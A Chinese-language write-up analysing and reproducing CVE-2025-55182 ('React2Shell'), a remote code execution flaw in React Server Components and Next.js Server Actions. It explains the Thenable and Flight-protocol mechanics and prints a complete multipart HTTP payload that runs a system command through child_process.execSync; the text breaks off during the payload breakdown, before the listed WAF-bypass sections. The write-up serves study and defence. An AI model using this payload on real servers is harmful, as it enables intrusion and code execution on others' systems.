CVE-2025-55182 (React2Shell) 漏洞分析与复现

文章目录

  • 一、漏洞概述

    • [1.1 这到底是个什么漏洞?](#1.1 这到底是个什么漏洞?)

    • [1.2 "React2Shell" 这个名字是什么意思?](#1.2 "React2Shell" 这个名字是什么意思?)

    • [1.3 受影响范围](#1.3 受影响范围)

    • [1.4 漏洞发现与披露时间线](#1.4 漏洞发现与披露时间线)

  • 二、前置知识

    • [2.1 JavaScript Thenable 机制](#2.1 JavaScript Thenable 机制)

    • [2.2 React Server Components (RSC) 与 Flight 协议](#2.2 React Server Components (RSC) 与 Flight 协议)

    • [2.3 Next.js Server Actions](#2.3 Next.js Server Actions)

  • 三、漏洞原理深度分析

    • [3.0 先看整体架构:请求处理时序图](#3.0 先看整体架构:请求处理时序图)

    • [3.1 Flight 协议中的 Chunk 机制](#3.1 Flight 协议中的 Chunk 机制)

    • [3.2 两个 Chunk 之间的依赖关系](#3.2 两个 Chunk 之间的依赖关系)

    • [3.3 resolve() 与 Thenable 的危险碰撞](#3.3 resolve() 与 Thenable 的危险碰撞)

    • [3.4 完整攻击链五步拆解](#3.4 完整攻击链五步拆解)

  • 四、漏洞复现

    • [4.1 环境搭建与调试配置](#4.1 环境搭建与调试配置)

    • [4.2 构造攻击 Payload](#4.2 构造攻击 Payload)

    • [4.3 发送攻击请求并验证](#4.3 发送攻击请求并验证)

  • [五、WAF 绕过技术](#五、WAF 绕过技术)

    • [5.1 Unicode 编码绕过](#5.1 Unicode 编码绕过)

    • [5.2 UTF-16 Charset 绕过](#5.2 UTF-16 Charset 绕过)

    • [5.3 嵌套 Chunk 解码绕过](#5.3 嵌套 Chunk 解码绕过)

    • [5.4 绕过 Multipart 检测](#5.4 绕过 Multipart 检测)

  • 六、修复方案与防御建议

  • 七、总结


一、漏洞概述

1.1 这到底是个什么漏洞?

假设你访问了一个用 Next.js 搭建的网站,这个网站看起来普普通通------就是个博客、企业官网或者电商页面。然后,你在浏览器里按 F12,抓了个包,改了点数据发回去。结果你直接拿到了服务器的 Shell ------能执行任意命令,比如 whoamils /cat /etc/passwd......

这就是 CVE-2025-55182。

它不需要你在服务器上上传文件,不需要 SQL 注入,也不需要 XSS。你只需要 发一个精心构造的 HTTP POST 请求,服务器上的 Node.js 进程就会乖乖执行你指定的系统命令。

CVSS 评分:9.8(Critical,最高危级别)

1.2 "React2Shell" 这个名字是什么意思?

安全社区给这个漏洞起了一个特别形象的名字------React2Shell

复制代码
 React  →  2  →  Shell
   ↑         ↑        ↑
 React框架   "to"   拿到Shell
           (谐音)

意思就是:从 React 框架直接到拿到 Shell,中间跳过了所有传统的攻击步骤。

1.3 受影响范围

组件 受影响版本
Next.js 15.x 系列(使用 React 19.x)
react-server-dom-webpack 修复前版本
react-server-dom-turbopack 修复前版本
React 19.x(Flight 协议相关模块)

前提条件: 目标应用启用了 Server Actions(这是 Next.js 15 的默认功能,无需额外配置)。

换句话说,只要你用 npx create-next-app@15 创建了一个项目并部署上线,而没有手动关掉 Server Actions,你就是受影响的

1.4 漏洞发现与披露时间线

复制代码
 2025年12月初   安全研究人员 @pyn3rd 首次公开 POC
     │
 2025年12月初   Vercel WAF(Seawall)添加 constructor 关键词拦截
     │
 2025年12月5日  安全社区发现 Unicode 编码绕过 WAF
     │
 2025年12月中   Lachlan & Sylvie 发现嵌套 Chunk 多层解码绕过
     │
 2025年12月底   React 官方发布 PR#35277 修复补丁
     │
 2026年1月     Next.js 发布正式修复版本

二、前置知识

在理解漏洞原理之前,我们需要先掌握三个核心概念。请一定耐心读完这一部分------这些基础知识将在后续每个步骤中反复出现,理解了它们,漏洞原理就水到渠成了。

2.1 JavaScript Thenable 机制

Thenable 是 React2Shell 的灵魂。不理解 Thenable,就无法理解这个漏洞。

第一步:JavaScript 如何处理"等待"?

想象一个现实场景:你去奶茶店点单。

  • 店员给你一个取餐号(小票),你可以拿着它去做别的事

  • 奶茶做好了,店员叫号,你拿着取餐号去领奶茶

JavaScript 中的异步编程,就和这个过程一模一样:

复制代码
 你点单                    发起异步请求(如网络请求)
     │                         │
 你拿到取餐号 (Promise)      得到一个 Promise 对象
     │                         │
 你去做别的事                 主线程继续执行其他代码
     │                         │
 店员叫号 (resolve)            异步操作完成,调用 resolve()
     │                         │
 你领到奶茶                    .then() 回调被触发
第二步:Callback Hell(回调地狱)------最原始的方式

在 JavaScript 早期(ES5 之前),异步操作只能靠回调函数:

复制代码
 // 场景:先登录 → 拿 token → 查用户信息 → 查订单
 // 代码会层层嵌套,像"金字塔"一样往右缩进
 ​
 request.login("user", "pass", function(err, token) {
     if (err) { console.log("登录失败"); return; }
 ​
     request.getProfile(token, function(err, user) {
         if (err) { console.log("获取信息失败"); return; }
 ​
         request.getOrders(user.id, function(err, orders) {
             if (err) { console.log("获取订单失败"); return; }
 ​
             console.log("您的订单:", orders);
             //  ↑ 到这里已经缩进了 4 层!
             //  如果再加一个步骤,还要继续往右缩……
         });
     });
 });

这种代码被称为 Callback Hell(回调地狱)------可读性极差,错误处理分散在各处,维护噩梦。

第三步:Promise 来了------把"横向缩进"变成"纵向链式"

ES6(2015年)引入了 Promise,核心思想:把回调从函数参数中"拉"出来,用 .then() 串联

复制代码
 // 同样的逻辑,用 Promise 链式写法:
 ​
 login("user", "pass")                       // 发起登录
     .then(function(token) {                 // 登录成功 → 拿 token
         return getProfile(token);           // 返回新的 Promise
     })
     .then(function(user) {                  // 拿到用户信息
         return getOrders(user.id);          // 返回新的 Promise
     })
     .then(function(orders) {                // 拿到订单
         console.log("您的订单:", orders);
     })
     .catch(function(err) {                  // 统一错误处理!
         console.error("出错:", err);
     });

流程图更加直观:

复制代码
 login()
     │
     ▼ (成功)
 getProfile(token)      ← .then() 接收上一个结果
     │
     ▼ (成功)
 getOrders(user.id)     ← .then() 接收上一个结果
     │
     ▼ (成功)
 console.log(orders)    ← .then() 接收上一个结果
     
 任何一步失败 → .catch() 统一捕获

Promise 内部的构造如下:

复制代码
 function login(username, password) {
     // 返回一个 Promise 对象
     return new Promise(function(resolve, reject) {
 ​
         const xhr = new XMLHttpRequest();
         xhr.open("POST", "/v1/login");
         xhr.setRequestHeader("Content-Type", "application/json");
 ​
         xhr.onload = function() {
             if (xhr.status >= 200 && xhr.status < 300) {
                 const data = JSON.parse(xhr.responseText);
                 resolve(data.token);    // ✅ 成功 → 调用 resolve
             } else {
                 reject(new Error("请求错误")); // ❌ 失败 → 调用 reject
             }
         };
 ​
         xhr.onerror = function() {
             reject(new Error("网络错误"));
         };
 ​
         xhr.send(JSON.stringify({ username, password }));
     });
 }

记住这两个关键角色:

  • resolve(value) → 告诉 Promise "成功了",把 value 传给下一个 .then()

  • reject(error) → 告诉 Promise "失败了",跳到 .catch()

第四步:async/await------让异步代码"看起来像同步"

ES2017 引入 async/await,本质上就是 Promise + .then()语法糖

复制代码
 // Promise 链式写法
 login("user", "pass")
     .then(token => getProfile(token))
     .then(user => getOrders(user.id))
     .then(orders => console.log(orders))
 ​
 // async/await 写法(等价!)
 async function main() {
     const token  = await login("user", "pass");    // await = .then()
     const user   = await getProfile(token);         // await = .then()
     const orders = await getOrders(user.id);        // await = .then()
     console.log(orders);
 }

关键对应关系:

  • await xxx 等价于 xxx.then(result => ...)

  • await 后面跟的东西,JavaScript 会尝试把它当作 Promise 来处理

第五步(核心!):Thenable------不是 Promise 但可以被 await

在 ES5 时代(甚至更早),很多第三方库自己实现了"类 Promise"------这些对象不是真正的 Promise,但有一个 then 方法。

为了让 await 能兼容这些老代码,JavaScript 规范规定:

只要一个对象有 then 方法,JavaScript 就把它当作 Thenable,await 会调用它的 then(resolve, reject)

看下面的对比:

复制代码
 // 方式 A:使用真正的 Promise(需要 new Promise(...))
 function login_Promise(username, password) {
     return new Promise(function(resolve, reject) {
         // ... 异步操作 ...
         resolve(result);
     });
 }
 ​
 // 方式 B:使用 Thenable(直接返回一个带 then 方法的普通对象!)
 function login_Thenable(username, password) {
     return {
         // 这个对象不是 Promise,但它有 then 方法
         then: function(resolve, reject) {
             // JavaScript 引擎会自动传入 resolve 和 reject
             const xhr = new XMLHttpRequest();
             xhr.open("POST", "/v1/login");
             // ...
             xhr.onload = function() {
                 resolve(JSON.parse(xhr.responseText).token);
             };
             xhr.send(JSON.stringify({ username, password }));
         }
     };
 }
 ​
 // 两种用法完全一样!
 const token1 = await login_Promise("admin", "123456");   // 可以
 const token2 = await login_Thenable("admin", "123456");  // 也可以!

这就是漏洞的关键入口------只要攻击者能构造一个带 then 方法的对象,JavaScript 引擎就会自动调用 then(resolve, reject),而 resolvereject 由引擎提供,攻击者可以在 then 方法里执行任意代码!

复制代码
 // 一个恶意的 Thenable 对象
 const maliciousThenable = {
     then: function(resolve, reject) {
         // 这个函数会被 JavaScript 引擎自动调用!
         // resolve 和 reject 是引擎传入的回调
         console.log("我在服务器上执行了!");
         // 可以在这里做任何事情...
         resolve("done");
     }
 };
 ​
 // 如果某个地方有 await maliciousThenable ...
 // then 里的代码就会自动执行!

总结一下 Thenable 的知识链条:

复制代码
 Callback Hell → Promise(.then链) → async/await(语法糖) → Thenable(有then方法就是Thenable)
                                                                          ↑
                                                                   漏洞入口点在这里!

2.2 React Server Components (RSC) 与 Flight 协议

为什么要搞 RSC?传统 SSR 有什么问题?

传统的服务端渲染(SSR)流程是这样的:

复制代码
 浏览器请求 /page
     │
     ▼
 服务器:渲染 React 组件 → 生成 HTML 字符串 → 返回给浏览器
     │
     ▼
 浏览器:显示 HTML(用户看到内容了,但按钮点不了!)
     │
     ▼
 浏览器:下载 JavaScript Bundle(几百KB到几MB)
     │
     ▼
 浏览器:执行 Hydration(把 HTML 和 JS 逻辑"接上")
     │
     ▼
 现在按钮可以点了(Time to Interactive)

痛点: 从"看到页面"到"能交互"之间有明显的延迟,特别是网络慢或设备差的时候。

RSC 的新思路:组件分两种,各管各的

React Server Components 把组件分为两类:

复制代码
 ┌─────────────────────────────────────────────────────┐
 │                   React 组件树                       │
 │                                                     │
 │  ┌──────────────────────┐  ┌──────────────────────┐ │
 │  │   Server Components   │  │  Client Components   │ │
 │  │                      │  │                      │ │
 │  │  • 只在服务端运行      │  │  • 在浏览器中运行     │ │
 │  │  • 不增加JS Bundle    │  │  • 负责交互和状态     │ │
 │  │  • 直接访问数据库      │  │  • 使用 "use client" │ │
 │  │  • 默认就是这种类型    │  │    指令标记          │ │
 │  │                      │  │                      │ │
 │  │  例如:               │  │  例如:               │ │
 │  │  - 文章内容渲染        │  │  - 搜索输入框         │ │
 │  │  - 数据库查询结果      │  │  - 点赞按钮          │ │
 │  │  - 文件读取           │  │  - 表单交互          │ │
 │  └──────────────────────┘  └──────────────────────┘ │
 │                                                     │
 │       两者通过 Flight 协议交换数据                   │
 └─────────────────────────────────────────────────────┘
Flight 协议:服务端和客户端的"共同语言"

Flight 协议是 React 自定义的一种序列化格式,用来在服务端和客户端之间传递 RSC 数据。

和传统 JSON 的区别------为什么要自己造协议?

传统 JSON 不能表示以下 JavaScript 原生类型:

  • undefined(JSON 没有 undefined)

  • Date 对象

  • BigInt

  • Map / Set

  • Promise(异步数据)

  • 循环引用

Flight 协议通过 $ 前缀扩展了 JSON,让这些类型都能传输。

Flight 数据的传输格式
复制代码
 ┌─────────────────────────────────────────────────────┐
 │          Flight Row 格式                            │
 │                                                     │
 │   ID : TypeCode Data                                │
 │    ↑      ↑       ↑                                 │
 │   行号   类型码  实际数据                            │
 │                                                     │
 │   例如:                                            │
 │   0: ["$1", {"name": "Alice"}]                      │
 │   1: {"age": 25}                                    │
 │                                                     │
 │   第0行引用第1行的数据 ($1 表示引用ID为1的行)         │
 └─────────────────────────────────────────────────────┘
服务端如何处理 Server Action 请求?

当客户端通过 Server Action 发送数据时,服务端的处理流程:

复制代码
 客户端 POST 请求
     │
     │  Header: Next-Action: abc123def
     │  Content-Type: multipart/form-data
     │  Body: [序列化的表单数据]
     │
     ▼
 ┌──────────────────────────────────────────────────────┐
 │  getServerActionRequestMetadata(request)              │
 │  解析 Next-Action header,提取 actionId               │
 └──────────────────────────────────────────────────────┘
     │
     ▼
 ┌──────────────────────────────────────────────────────┐
 │  判断请求类型:                                       │
 │  • Content-Type = application/x-www-form-urlencoded   │
 │    → isURLEncodedAction = true                       │
 │  • Content-Type = multipart/form-data                 │
 │    → isMultipartAction = true                        │
 │  • 有 actionId 的普通 POST                            │
 │    → isFetchAction = true                            │
 └──────────────────────────────────────────────────────┘
     │
     ▼
 ┌──────────────────────────────────────────────────────┐
 │  decodeReplyFromBusboy(request, serverManifest)       │
 │  核心反序列化函数,解析 multipart/form-data            │
 │  ⚠️ 漏洞触发点就在这个函数内部!                       │
 └──────────────────────────────────────────────────────┘

2.3 Next.js Server Actions

Server Action 是什么?

传统的 Next.js 应用,前端要调后端接口,需要:

  1. pages/api/app/api/ 下创建一个 API Route

  2. 前端用 fetch('/api/xxx') 调用

  3. 处理后端返回的数据

复制代码
 // 传统方式:需要单独写 API 路由
 // app/api/createPost/route.ts
 export async function POST(request) {
     const data = await request.json();
     await db.post.create({ data });
     return Response.json({ success: true });
 }
 ​
 // 前端组件中
 async function handleSubmit() {
     const res = await fetch('/api/createPost', {
         method: 'POST',
         body: JSON.stringify({ title: 'hello' })
     });
 }

Server Actions 把两步合为一步------直接在组件里定义一个函数,标记为 "use server",就可以在客户端直接调用它

复制代码
 // app/actions.ts
 "use server";
 ​
 import { db } from "@/lib/db";
 ​
 export async function createPost(title: string) {
     await db.post.create({ data: { title } });
     return { success: true };
 }
 ​
 // app/page.tsx(前端组件)
 import { createPost } from "./actions";
 ​
 export default function Page() {
     return (
         <form action={createPost}>   {/* 直接绑定 Server Action!*/}
             <input name="title" />
             <button type="submit">提交</button>
         </form>
     );
 }
Server Action 在网络层面是什么样的?

当用户点击提交按钮时,浏览器发出的实际 HTTP 请求:

复制代码
 POST / HTTP/1.1
 Host: example.com
 Next-Action: a1b2c3d4e5f6...    ← 标识这是 Server Action
 Content-Type: multipart/form-data; boundary=----WebKitForm
 ​
 ------WebKitForm
 Content-Disposition: form-data; name="1"       ← 第一个字段
 Content-Type: text/plain
 ​
 ["$K1"]                                         ← Flight 格式数据
 ​
 ------WebKitForm
 Content-Disposition: form-data; name="2"       ← 第二个字段
 Content-Type: text/plain
 ​
 {"title": "hello"}                              ← 表单实际数据
 ​
 ------WebKitForm--

三个关键特征(记住它们,后面分析 WAF 绕过时会用到):

  1. 请求头必须有 Next-Action: <hex-id>

  2. Content-Type 是 multipart/form-data

  3. Body 中的数据使用 Flight 序列化格式($ 前缀引用)


三、漏洞原理深度分析

3.0 先看整体架构:请求处理时序图

在深入细节之前,先用一张时序图建立整体认知------恶意请求进入 Next.js 服务器后,经过了哪些关键处理环节:

复制代码
 时间线 →
 ​
 恶意客户端                  Next.js 服务器                      React Flight 解析器
     │                           │                                    │
     │── POST + Next-Action ────▶│                                    │
     │   multipart/form-data     │                                    │
     │                           │── 识别为 Server Action ───────────▶│
     │                           │                                    │
     │                           │    decodeReplyFromBusboy()          │
     │                           │                                    │
     │                           │    ┌─────────────────────────────┐ │
     │                           │    │ Thread 1: busboy 解析       │ │
     │                           │    │ name="0" → Chunk 0          │ │
     │                           │    │   value = {then:..., ...}   │ │
     │                           │    │                             │ │
     │                           │    │ name="1" → Chunk 1          │ │
     │                           │    │   value = "$@0"             │ │
     │                           │    │   → Promise<Chunk0>         │ │
     │                           │    └─────────────────────────────┘ │
     │                           │                                    │
     │                           │    ┌─────────────────────────────┐ │
     │                           │    │ Thread 2: 消费 Chunk        │ │
     │                           │    │                             │ │
     │                           │    │ ① 读取 Chunk 0 的 value     │ │
     │                           │    │ ② 发现对象有 then 属性      │ │
     │                           │    │ ③ JS引擎: 这是 Thenable!    │ │
     │                           │    │ ④ 自动调用 then(res, rej)   │ │
     │                           │    │ ⑤ then = $1:then            │ │
     │                           │    │    = chunk1.value.then      │ │
     │                           │    │    = Promise.then           │ │
     │                           │    │ ⑥ 链式获取 constructor      │ │
     │                           │    │    → Function 构造函数      │ │
     │                           │    │ ⑦ Function(_prefix)         │ │
     │                           │    │    → RCE! 💥               │ │
     │                           │    └─────────────────────────────┘ │
     │                           │                                    │
     │                           │  ← calc.exe 弹出来了 / id 执行了 ← │
     │◀── 响应 ──────────────────│                                    │

3.1 Flight 协议中的 Chunk 机制

Chunk 是什么?

React Flight 协议用 Chunk 来管理反序列化过程中的数据。每个 multipart 字段对应一个 Chunk。

可以把 Chunk 理解为一个 带状态的"数据盒子"

复制代码
 ┌──────────────────────┐
 │     Chunk (数据盒子)   │
 │                      │
 │  status: "..."      │  ← 盒子当前状态
 │  value:  ...        │  ← 盒子里装的数据
 │  reason: ...        │  ← 出错原因
 │  _response: {...}   │  ← 指向所属的 Response
 └──────────────────────┘
Chunk 的六种状态(State Machine)
复制代码
                     ┌──────────────┐
                     │   PENDING    │  ← 初始状态,value = null
                     │   (等待中)    │
                     └──────┬───────┘
                            │
               ┌────────────┼────────────┐
               │            │            │
               ▼            ▼            ▼
     ┌─────────────┐ ┌───────────┐ ┌───────────┐
     │ RESOLVED_   │ │  BLOCKED  │ │  ERRORED  │
     │ MODEL       │ │  (被阻塞)  │ │  (出错)   │
     │ (已解析)     │ │           │ │           │
     └─────────────┘ └─────┬─────┘ └───────────┘
                           │
                     ┌─────┴─────┐
                     ▼           ▼
               ┌──────────┐ ┌──────────────┐
               │ CYCLIC   │ │ INITIALIZED  │
               │ (循环引用)│ │  (已初始化)   │
               └──────────┘ └──────────────┘
状态 含义 value 的值
PENDING 刚创建,还没收到数据 null
RESOLVED_MODEL 数据已解析完毕 反序列化后的 JS 对象
BLOCKED 等待其他 Chunk 先完成 null(等待中)
CYCLIC 检测到循环引用 特殊标记
INITIALIZED 初始化完成 最终值
ERRORED 处理过程中出错 错误信息
Chunk 之间的关系图

多个 Chunk 之间可以互相依赖,形成依赖图:

复制代码
 multipart form-data:
 ┌────────────────────────────────────────┐
 │ field name="0":                        │
 │   {"then": "$1:then", ...}             │  → 变成 Chunk 0
 │                                        │
 │ field name="1":                        │
 │   "$@0"                                │  → 变成 Chunk 1
 └────────────────────────────────────────┘
 ​
 Chunk 依赖关系:
 ​
     Chunk 0 ──────────────────────┐
     (value = {then: "$1:then"})   │
                                   │   Chunk 0 的 then 指向 Chunk 1
                                   ▼
     Chunk 1 ──────────────────────┐
     (value = "$@0"                │
      = Promise<Chunk0>)           │   Chunk 1 的 value 是 Chunk 0 的 Promise
                                   │
                                   ▼
                     形成循环依赖!→ 这是漏洞利用的基础

3.2 两个 Chunk 之间的依赖关系

这里是最容易搞混的地方,我们一步一步拆开来看。

$0 vs $@0 ------ 同步提取 vs 异步包装

Flight 协议中,$<id>$@<id> 是两个不同的操作:

复制代码
 $0  →  getOutlinedModel(0)
     →  直接拿到 Chunk 0 的 value(同步操作)
     →  如果 Chunk 0 还没就绪,就等着(BLOCKED 状态)
 ​
 $@0 →  getChunk(0)
     →  返回一个 Promise<Chunk0 的 value>(异步操作)
     →  这个 Promise resolve 后得到 Chunk 0 的值

图示:

复制代码
 $0 (同步)
 ════════════════════════════
 Chunk 1.value = chunk0.value    ← 直接赋值
 如果 chunk0 是 {name: "Alice"},
 那 chunk1.value 就是 {name: "Alice"}
 ​
 ​
 $@0 (异步)
 ════════════════════════════
 Chunk 1.value = Promise<chunk0.value>   ← 包装成 Promise
 如果 chunk0 是 {name: "Alice"},
 那 chunk1.value 是 Promise { {name: "Alice"} }
 ​
 需要用 await chunk1.value 才能拿到 {name: "Alice"}
为什么 $@0 是漏洞的关键?

因为 $@0 返回的是 Promise,而在 JavaScript 中,Promise 的原型上有 .then() 方法

复制代码
 // JavaScript Promise 原型链
 const p = Promise.resolve(42);
 ​
 p.then           // ← 这是 Promise.prototype.then(原生方法)
 p.constructor    // ← 这是 Promise(构造函数本身)
 p.constructor.constructor  // ← 这是 Function(所有构造函数的构造函数!)

关键发现:

复制代码
 // 攻击者只需要访问 Promise 实例的 constructor 链
 // 就能拿到 Function 构造函数
 ​
 // 步骤:
 Promise → .constructor → Promise 构造函数
         → .constructor → Function 构造函数(所有函数都是 Function 构造的)
 ​
 // 所以:
 p.constructor.constructor === Function  // true!
 ​
 // 而 Function 可以这样用:
 Function('return 1+1')()  // 2
 Function('process.mainModule.require("child_process").execSync("id")')()
 //  ↑ 等于 eval,但比 eval 更隐蔽!

这就是为什么攻击 Payload 中会有 $1:constructor:constructor------它的作用是:

复制代码
 $1
   ↓ (Chunk 1 的值 = Promise<Chunk0>)
 Promise 实例
   ↓ .constructor
 Promise 构造函数
   ↓ .constructor
 Function 构造函数  ← 拿到它就可以执行任意代码!

3.3 resolve() 与 Thenable 的危险碰撞

关键函数 wakeChunk 的内部逻辑

当 Chunk 状态变更时,React 会调用 wakeChunk

复制代码
 // React Flight 源码简化版
 function wakeChunk(listeners, value) {
     for (let i = 0; i < listeners.length; i++) {
         const listener = listeners[i];
         // ⚠️ 关键点:resolve(value)
         // 如果 value 是 Thenable,JS 会自动调用 value.then(引擎的resolve, 引擎的reject)
         listener.resolve(value);
     }
 }
JavaScript Promise 的"自动展平"机制

这是 JavaScript 规范决定的,不是 React 的 bug:

复制代码
 // 实验:Promise.resolve 遇到 Thenable
 ​
 // 情况1:resolve 一个普通值
 Promise.resolve(42)
     .then(x => console.log(x));  // 输出 42
 ​
 // 情况2:resolve 一个 Promise
 Promise.resolve(Promise.resolve(42))
     .then(x => console.log(x));  // 输出 42(自动展开!)
 ​
 // 情况3:resolve 一个 Thenable
 const myThenable = {
     then: function(resolve, reject) {
         console.log("Thenable.then 被调用了!");
         resolve("从 Thenable 来的数据");
     }
 };
 ​
 Promise.resolve(myThenable)
     .then(x => console.log("结果:" + x));
 ​
 // 输出:
 // "Thenable.then 被调用了!"
 // "结果:从 Thenable 来的数据"

核心规则:如果 resolve(value) 中的 valuethen 方法,JavaScript 引擎会把它当作 Thenable,自动调用 value.then(引擎的resolve, 引擎的reject)

3.4 完整攻击链五步拆解

现在把所有知识串起来,看攻击 Payload 如何一步步实现 RCE。

攻击 Payload 全景图

multipart 请求包含两个字段:

复制代码
 multipart form-data:
 ​
   ┌─────────────────────────────────────────────────────┐
   │ field name="0"                                      │
   │                                                     │
   │ {                                                   │ ← 这整个 JSON 变成 Chunk 0
   │   "then": "$1:then",              ← ① 关键!       │
   │   "status": "resolved_model",                       │
   │   "reason": -1,                                     │
   │   "value": "{\"then\":\"$B1337\"}",                 │
   │   "_response": {                                    │
   │     "_prefix": "恶意代码...",       ← ③ 最终执行    │
   │     "_chunks": [],                                  │
   │     "_formData": {                                  │
   │       "get": "$1:constructor:constructor"  ← ② 关键 │
   │     }                                               │
   │   }                                                 │
   │ }                                                   │
   ├─────────────────────────────────────────────────────┤
   │ field name="1"                                      │
   │                                                     │
   │ "$@0"                             ← Promise包装     │
   └─────────────────────────────────────────────────────┘
攻击链序列图
复制代码
 时间线 →
 ​
 Step 1: multipart 解析
 ═══════════════════════
 ​
 busboy 逐字段解析:
                                                 
   field "0" → resolveField(response, "0", jsonValue)
             → 创建 Chunk 0,status = RESOLVED_MODEL
             → chunk0.value = {then: "$1:then", status: "resolved_model", ...}
                                           
   field "1" → resolveField(response, "1", "$@0")  
             → "$@0" → getChunk(0) → Promise<chunk0.value>
             → 创建 Chunk 1,value = Promise { <pending> }
 ​
 ​
 Step 2: Thenable 检测
 ═════════════════════
 ​
 React 内部某处代码执行:
                                                 
   const val = chunk0.value;
   // val = {then: "$1:then", status: "resolved_model", ...}
                                                 
   JavaScript 引擎判断:
   "val 有 then 属性吗?" → 有!
   "那 val 就是 Thenable!"
                                                 
   → 自动调用 val.then(engineResolve, engineReject)
 ​
 ​
 Step 3: then 解析
 ═════════════════
 ​
   val.then 的值是 "$1:then"(字符串)
                                                 
   React parseModelString 解析 "$1:then":
     "$1" → 获取 Chunk 1 的 value
     ":then" → 访问 .then 属性
                                                 
   Chunk 1 的 value 是 Promise<chunk0>(来自 $@0)
   Promise 实例上有 .then——这是原生的 Promise.prototype.then
                                                 
   所以 val.then = Promise.prototype.then
                                                 
   → 引擎调用 Promise.prototype.then(engineResolve, engineReject)
                                                 
   (这一步不执行恶意代码,但成功将引擎的 resolve 传入了 Promise 链)
 ​
 ​
 Step 4: 获取 Function 构造函数
 ══════════════════════════════
 ​
   Payload 中 _formData.get = "$1:constructor:constructor"
                                                 
   解析过程:
     "$1"            → Chunk 1 的 value = Promise 实例
     ":constructor"  → Promise 实例.constructor = Promise 构造函数
     ":constructor"  → Promise 构造函数.constructor = Function 构造函数!
                                                 
   所以 _formData.get = Function ← 这就是恶意的代码执行器!
 ​
   在 JavaScript 中验证:
     Promise.resolve().constructor.constructor === Function
     // true!
 ​
 ​
 Step 5: 执行任意代码 💥
 ══════════════════════
 ​
   React 内部处理 Chunk 的 blob 数据时:
                                                 
     _response._prefix = "process.mainModule.require('child_process').execSync('calc.exe');"
     _response._formData.get = Function
                                                 
     → Function(_prefix)  
     → 相当于:new Function("process.mainModule.require('child_process').execSync('calc.exe');")
     → 调用这个新函数
     → calc.exe 被启动!
     → RCE 完成 🎯
每一步对应的 Payload 字段汇总
复制代码
 Payload 分解表
 ═══════════════
 ​
 ┌─────────────────────────┬──────────────────────────────────────┐
 │ Payload 字段             │ 作用                                 │
 ├─────────────────────────┼──────────────────────────────────────┤
 │ "then": "$1:then"       │ 使 Chunk 0 被识别为 Thenable          │
 │                         │ then 指向 Promise.prototype.then      │
 ├─────────────────────────┼──────────────────────────────────────┤
 │ "status":"resolved_model"│ 伪造 Chunk 状态(看起来合法)          │
 ├─────────────────────────┼──────────────────────────────────────┤
 │ "reason": -1            │ 伪造错误码,避免触发异常处理            │
 ├─────────────────────────┼──────────────────────────────────────┤
 │ "value":"{\"then\":     │ Chunk 0 的 value,$B1337 是无效的     │
 │   \"$B1337\"}"          │ Blob 引用,用于中断后续不必要的处理     │
 ├─────────────────────────┼──────────────────────────────────────┤
 │ _response._prefix       │ ★ 最终被 Function() 执行的恶意JS代码  │
 ├─────────────────────────┼──────────────────────────────────────┤
 │ _response._formData     │ "$1:constructor:constructor"          │
 │   .get                  │ ★ 获取 Function 构造函数              │
 ├─────────────────────────┼──────────────────────────────────────┤
 │ field "1": "$@0"        │ ★ 将 Chunk 1 包装为 Promise           │
 │                         │ 使得 .constructor.constructor 链成立   │
 └─────────────────────────┴──────────────────────────────────────┘

四、漏洞复现

4.1 环境搭建与调试配置

步骤一:创建受影响版本的 Next.js 项目
复制代码
 # 使用 Next.js 15.5.6(受影响版本)
 npx create-next-app@15.5.6 nextjs-cve-2025-55182 --yes
 cd nextjs-cve-2025-55182
步骤二:开启 Node.js 调试模式

Windows:

复制代码
 set NODE_OPTIONS="--inspect"
 npm run dev

Linux / macOS:

复制代码
 export NODE_OPTIONS="--inspect"
 npm run dev
步骤三:理解三个端口的作用

启动后 Node.js 会监听三个端口:

复制代码
 ┌─────────────────────────────────────────────────────┐
 │                                                     │
 │  端口 3000  ← Web 应用(Next.js 服务)               │
 │       ▲ 用户浏览器访问 http://localhost:3000          │
 │                                                     │
 │  端口 9229  ← Dev Server 守护进程的调试端口           │
 │       ▲ 用于调试 Next.js 的开发服务器本身              │
 │                                                     │
 │  端口 9230  ← ★ 应用进程的调试端口(我们连这个!)      │
 │       ▲ 用于调试实际的 React 渲染和 Server Action 处理 │
 │                                                     │
 └─────────────────────────────────────────────────────┘
步骤四:连接 Chrome DevTools
  1. 打开 Chrome,地址栏输入 chrome://inspect/

  2. 在页面中点击 "Configure...",确保 localhost:9230 在列表中

  3. 在 "Remote Target" 区域,你会看到类似这样的条目:

  4. 点击下方的 inspect 链接,会弹出 DevTools 窗口

  5. 在 DevTools → Sources 面板中,取消勾选 "Enable ignore listing"(忽略列表),这样才能看到 node_modules 中的源码

步骤五:设置关键断点(可选,用于理解原理)

如果你想跟着源码走一遍攻击流程,在以下位置打断点:

文件 函数/位置 断点目的
action-handler.ts getServerActionRequestMetadata 观察请求如何被识别为 Server Action
react-server-dom-turbopack-server.node.development.js decodeReplyFromBusboy 观察 multipart 数据进入解析
同上 parseModelString 观察 $ 前缀字符串如何被解析
同上 resolveField 观察字段如何被创建为 Chunk
同上 wakeChunk 观察 Chunk 状态变更和 resolve 调用

4.2 构造攻击 Payload

Payload A:Windows 弹计算器(最简验证)

POST / HTTP/1.1

Host: localhost

Next-Action: x

Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

Content-Length: 504

------WebKitFormBoundaryx8jO2oVc6SWP3Sad

Content-Disposition: form-data; name="0"

{

"then": "$1:then",

"status": "resolved_model",

"reason": -1,

"value": "{\"then\":\"$B1337\"}",

"_response": {

"_prefix": "process.mainModule.require('child_process').execSync('calc.exe');",

"_chunks": [],

"_formData": {

"get": "$1:constructor:constructor"

}

}

}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad

Content-Disposition: form-data; name="1"

"$@0"

------WebKitFormBoundaryx8jO2oVc6SWP3Sad--


成功复现 Payload 逐字段详解
整体结构一览
复制代码
 HTTP 请求
 ├── 请求行: POST / HTTP/1.1
 ├── 请求头: Next-Action: x                   ← 告诉Next.js"我是Server Action"
 ├── 请求头: Content-Type: multipart/form-data ← 触发decodeReplyFromBusboy解析
 │            boundary=----WebKitFormBoundary...
 └── 请求体(multipart):
     ├── part 1 (name="0")  → 变成 Chunk 0
     │   ┌──────────────────────────────────────────────┐
     │   │ {                                            │
     │   │   "then": "$1:then",                         │  ← 字段①
     │   │   "status": "resolved_model",                │  ← 字段②
     │   │   "reason": -1,                              │  ← 字段③
     │   │   "value": "{\"then\":\"$B1337\"}",          │  ← 字段④
     │   │   "_response": {                             │  ← 字段⑤
     │   │     "_prefix": "process.mainModule...",      │     ← 字段⑥ ★核心★
